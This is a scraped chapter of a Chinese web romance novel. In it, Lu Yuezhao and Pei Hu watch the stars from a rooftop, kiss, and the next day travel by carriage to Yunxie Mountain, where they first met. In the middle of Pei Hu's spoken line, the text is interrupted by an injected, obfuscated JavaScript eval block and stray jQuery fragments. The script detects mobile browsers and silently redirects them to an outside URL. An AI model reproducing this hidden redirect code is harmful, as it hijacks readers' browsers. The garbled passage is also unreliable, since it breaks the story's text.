23. 恋芳草慢(七)

作品:《守寡后成了亡夫外室

    夜晚,庭阶寂寂。


    月光皎洁,偶尔有微风吹过,映得疏影半墙婆娑。


    卢月照和裴祜两人跨过卢家大门门槛,向外走去。


    地上隐隐约约可以看见二人相依的影子。


    “咱们去哪儿?”裴祜将卢月照的一只手握在手心。


    晚间凉快些,街边三五成群的人聚在一处扯着闲篇儿,拉着家常。


    卢月照想找个清静的地方和裴祜待着。


    她抬头望向夜空,那里天河星转,风回云开。


    “我们去下院房顶赏月观星吧,那里清净,而且不用梯子就能上去。”卢月照抬头看着裴祜说道。


    他的眸中似有星河流转。


    “好。”


    两人向下院走去。


    下坡时,卢月照拉着裴祜向左手边走着。


    “夏日晚上走路,不要靠近墙壁,这时候上头不时会有蝎子爬着,靠近了容易被蜇伤。”卢月照说道。


    “好,我记住了,”裴祜忽然想到什么,“对了,我记着蝎子可以入药,也是一味药材。”


    “是,每年这时候,村中都有不少人点着灯,拿筷子夹墙上的蝎子卖钱,也是一个进项。”


    说话间,卢月照打开了下院的门。


    两人进去后,裴祜将院门合上。


    下院的房屋东边是一个大斜坡,不用梯子就能上去,这样建是为了方便秋收之时在屋顶晒粮。


    裴祜在前面,右手拉着卢月照一同往上走。


    站在房顶,视野开阔许多。


    下面是万家灯火,上面是月照星河。


    轻风吹起,带着一丝凉意,卢月照的衣裙拂过裴祜的手背。


    微微酥痒。


    “我们坐下来吧。”卢月照抱着膝盖在屋顶坐好。


    随后,裴祜在她身旁盘腿坐下。


    卢月照的发丝微微飘动,风一吹,就覆在了裴祜的衣衫上。


    她靠在了裴祜的肩膀。


    就着月色,裴祜一下就捉住了卢月照的手,把它握在手心轻轻摩挲。


    两个人的手,都是暖的。


    “午后我去见了媛媛,她在赵家过得很好,赵子路看着憨实,却是个会疼媳妇儿的,媛媛眼里都能腻出蜜来,新婚燕尔,感情和顺。”卢月照缓缓开口。


    “这下你就可以放心周媛了,虽说是父母之命媒妁之言,两人就婚前见了一面,算是盲婚哑嫁,但是脾气性格相投,夫妻美满,是缘分。”裴祜说道。


    “是啊,婚姻一事若是不顺,吃亏的总是女子多些,愿往后他们夫妻也能如此,携手将这余生度过。”


    卢月照顿了顿,继续说着:“我们两个幼时的场景还历历在目,春日花间扑蝶,夏日溪边捉鱼,秋日在谷堆捉迷藏,冬日在雪地里堆雪狮,打雪仗。明明一切和昨日发生的一样,怎么转眼间她就嫁为人妇了。”


    时移世易,卢月照略微有些伤感。


    裴祜伸手,轻轻将她揽住。


    两个人贴得更近,裴祜能闻到她身上的清香。


    “可惜我还没想起从前,人事虽变幻,可童年稚趣当是一样的,也应和你一样无忧无虑,总觉得日子很慢,怎么也过不到头。”裴祜说道。


    “对了。”


    卢月照想起了陆家婶子说的话,昨日裴祜回来后,她就告诉了他,裴祜当时也是一脸惊诧。


    知道那二人干柴烈火,却也没想到能那般烈火。


    “我跟你说,幸亏那件小衣的尺寸大,若是个瘦的,陆家婶子恐怕会怀疑上你我,这一传十十传百的以讹传讹,咱俩在这村里就没脸了。”


    裴祜轻轻笑着,“那两人既尝了甜头,就不可能没有下一次,说不定多少回了才被咱俩撞见。既然能被咱俩撞见,指不定哪天就会被别人撞见。我们两个没看见是谁,别人不一定看不到,这事儿毕竟不光彩,说不定还要好好闹上一场。”


    卢月照笑着点头,“谁说不是,到时候人尽皆知的,就成了茶余饭后的谈头,还能说上好几年,说不定外乡的也会知道,人传人的时候再添油加醋些,这两个人的境遇怕是不好了。”


    “情与欲,二者不可分,有情才有欲,有欲情也更深,有情无欲,日子久了定会索然,可若是无情只是为了欲,等遇上更能唤起欲望的人,只会将现在的人即刻丢弃,亦不能长久。就不知那两人是哪种了。”裴祜徐徐说道。


    卢月照想着他方才的话。


    情,她已经尝到,那欲呢?


    想让他永远陪在自己身边,算不算一种欲?


    止不住地想要靠近他,是不是欲?


    卢月照有些不解。


    她忍不住转头看向一旁的裴祜。


    却猝不及防落入他的眼眸。


    他也在看她。


    有几缕发丝被吹着贴上了卢月照的脸颊。


    裴祜抬手,从上至下,顺着发丝抚过她的脸侧。


    最后,将飘乱的发丝别在她的耳后。


    两个人就这样看着对方,满心满眼都是彼此。


    忽然,卢月照睁大了眼眸。


    月光下,她看着裴祜渐渐靠近自己。


    “闭上眼。”裴祜轻声说。


    她闭上了眼睛。


    下一瞬,柔软的唇瓣被他覆盖。


    不同于那日溪边桥侧的冰凉,此刻,他的唇是暖的。


    卢月照本以为他会和那日一样,轻轻碰一下就会离开。


    可裴祜却抬手扣住了她的后脑勺,加深了这个吻。


    他细细品尝着她的两片唇瓣。


    卢月照甚至感觉到阵阵湿濡和柔软。


    裴祜的呼吸乱了……


    他知道,他对她有了欲。


    很早之前就有了。


    只不过从前一直克制压抑着。


    此刻夜空之下,只有繁星与明月在上,他觉得没必要那般克制了。


    卢月照感觉到裴祜的身体越来越热,连带着自己也跟着体温升高。


    知晓自己身体的变化,裴祜觉得不能再继续了。


    他强迫自己离开卢月照的唇瓣,侧开了头。


    他抱紧了她,贴着她的脸颊。


    卢月照被他脸上的温度烫了一下。


    她此刻的脑袋还是晕晕的,眼前都有些恍惚了。


    “你怎么了,怎么身上这么热?”卢月照忍不住轻声问道。


    一片静默,裴祜没有回答她。


    “没事,让我抱一会儿就好了。”


    他稳了稳呼吸,哑着嗓音开口。


    卢月照伸出双手轻轻环住裴祜的腰身。


    在触碰的瞬间,裴祜似乎僵了一下。


    他嗅着卢月照的发间清香,阖上了眼眸。


    不知过了多久,轻云忽然遮月,两人周遭暗了几分。


    “明日你跟我去一个地方,好不好?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916714|159660||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    卢月照耳边传来裴祜的声音。


    温柔,坚定。


    *


    今日裴祜休息一日,不用去曾木匠家上工。


    一大清早,裴祜和卢月照就驾着马车出了门。


    卢月照一开始在马车里面坐着,可没一会儿就掀开帘子从里面钻了出来,和裴祜一左一右坐在车前。


    东庄村很快被甩在了身后,马车上了大路。


    身边风景变换,在路过一个岔路时,两人都扭头看向了另一条小路。


    马车没有停下,继续向前。


    裴祜想起了卢月照被李康泰掳走的那晚。


    其实,他不知多少次回想过那晚的情景。


    他甚至会后怕。


    如果那晚他没有醒来会如何,如果他没有看到卢月照留下的记号会如何,如果他差了一步去晚了又会如何?


    他不敢去想,也没办法再去想。


    但是,裴祜知晓,无论是哪一种可能,他都会拼上自己的性命,找到那个伤害她的人,让那个人付出性命代价。


    曾经的自己满身是血,什么都不记得,也什么都没有,是她救了他,给了他如今的一切。


    他不在乎自己失去这微薄的一切,无根无依的人,有什么好怕的。


    他怕的是,她受到伤害。


    察觉到裴祜的情绪,卢月照伸出手,覆上了他的手背。


    而后,她的手被他紧紧反握。


    马车速度快,两旁树木葱绿,郁郁菁菁,此刻只能看见个模糊影子。


    越往前行进,眼前视线愈加开阔。


    “我们要去哪儿呀?”卢月照问道。


    “再过些时候就知道了。”裴祜温声回答。


    “日头上来了,快进去吧,不用陪着我。”裴祜又道。


    卢月照看着裴祜摇了摇头。


    两个人额间都出了微汗。


    马车又行了好长一段路,裴祜接过卢月照递来的水袋,喝了几口水。


    一滴水珠从他的唇角滑下,略过喉结,划过脖颈,最后没入领口。


    所经之处留下淡淡水痕,但很快就消失不见。


    天儿还是热的,明明刚刚饮过水,可卢月照忽然觉着还是有些渴。


    眼前景色忽然变换,裴祜拐进了一条小路。


    不再是方才的康庄大道,视线也跟着收窄。


    过了快半日,此刻已经到了午间。


    马车越向前行进速度越慢,最后在一处脚店停下来。


    两人下了马车,进去用了一碗过了凉水的卤肉面。


    肉卤得久,很是入味,还配着些青菜,分量还很大,一碗下去,即刻就饱了。


    马车被暂存此处,付过饭钱后,两人步行继续向深处走去。


    林深苍盖,繁密的透绿色枝叶将日光隔绝在外,此处本就鲜有人经过,也几乎隔绝了外界声音。


    山脚下,一片微凉清幽。


    只有隐隐水声入耳。


    不远处是一条小溪。


    卢月照和裴祜行在这林深树密处,脸上哪还见一丝汗珠,连着脚步都轻快了许多。


    越过溪上石桥,循着山路向上,树间还能看见几只猴子跳跃,它们都挺怕人,也不上前。


    卢月照已经知晓裴祜要带她去往何处。


    云歇如画山中。


    是云歇山。


    她遇见他的地方。